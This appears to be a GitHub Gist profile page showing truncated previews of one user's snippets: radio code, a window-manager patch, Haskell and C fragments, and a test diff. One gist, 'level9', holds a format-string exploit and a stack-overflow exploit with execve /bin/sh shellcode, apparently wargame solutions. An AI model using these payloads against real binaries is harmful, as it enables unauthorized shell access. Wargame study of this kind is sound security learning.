Skip to content

Instantly share code, notes, and snippets.

View jdiez17's full-sized avatar

José Manuel Díez jdiez17

View GitHub Profile
@jdiez17
jdiez17 / pwm.py
Last active September 5, 2020 16:04
from gnuradio import analog
from gnuradio import blocks
from gnuradio import eng_notation
from gnuradio import filter
from gnuradio import gr
from gnuradio.eng_option import eng_option
from gnuradio.filter import firdes
from optparse import OptionParser
import osmosdr
import numpy
+int cmd_fullscreen(struct sway_config *config, int argc, char **argv) {
+ if (argc != 1) {
+ sway_log(L_ERROR, "Invalid fullscreen command (expected 1 arguments, got %d)", argc);
+ return 1;
+ }
+
+ swayc_t *container = get_focused_container(&root_container);
+ wlc_view_set_state(container->handle, WLC_BIT_FULLSCREEN, true);
+
+ return 1;
def cifra(a, b, key, num_bytes=2):
assert len(a) == len(b)
l = len(a)
#padding
if len(a)%num_bytes:
a += chr(0)*((-len(a))%num_bytes)
b += chr(0)*((-len(b))%num_bytes)
#include "calc.h" /* No other includes in your .c */
void doTheNeedful(int x) {
return x + 42;
}
@jdiez17
jdiez17 / level9
Last active August 29, 2015 14:17
r $(python -c 'print "\xd6\x94\x04\x08" + "PADD" + "\xd4\x94\x04\x08" + "\x90" * 25 + "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + "\x90" * 24 + "%x%x%49058c%hn%14436c%hn"')
r $(python -c 'print "\xd6\x94\x04\x08" + "PADD" + "\xd4\x94\x04\x08" + "\x90" * 25 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 25 + "%x%x%49055c%hn%14436c%hn"')
buffer_length = 140
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
retaddr = [0xc0, 0xfb, 0xff, 0xbf]
nops = "\x90" * (buffer_length - len(shellcode))
exploit = shellcode + nops + "".join(map(chr, retaddr))
module Main where
import qualified Data.Map as Map
import Control.Monad (guard)
import Data.Maybe (isJust)
data Graph a = Graph (Map.Map a [a])
@jdiez17
jdiez17 / hash.hs
Last active August 29, 2015 14:17
import Data.Char (ord)
item :: Char -> Int -> Int
item c i = (ord c) * (7 + i) ^ (i + 1)
hash' :: Int -> String -> Int
hash' _ [] = 0
hash' i (x:xs) = item x i + hash' (i + 1) xs
hash :: String -> Int
diff --git a/tests/best_solutions_test.cpp b/tests/best_solutions_test.cpp
index f54e575..21f7e75 100644
--- a/tests/best_solutions_test.cpp
+++ b/tests/best_solutions_test.cpp
@@ -169,29 +169,29 @@ int main()
const std::vector<decision_vector> &best_x = best_tests[i].problem->get_best_x();
//browse the solutions set
for(std::vector<decision_vector>::size_type j=0; j<best_x.size(); j++) {
- fitness_vector best_f_computed = best_tests[i].problem->get_best_f().at(j);
- const fitness_vector &best_f = best_tests[i].best_f.at(j);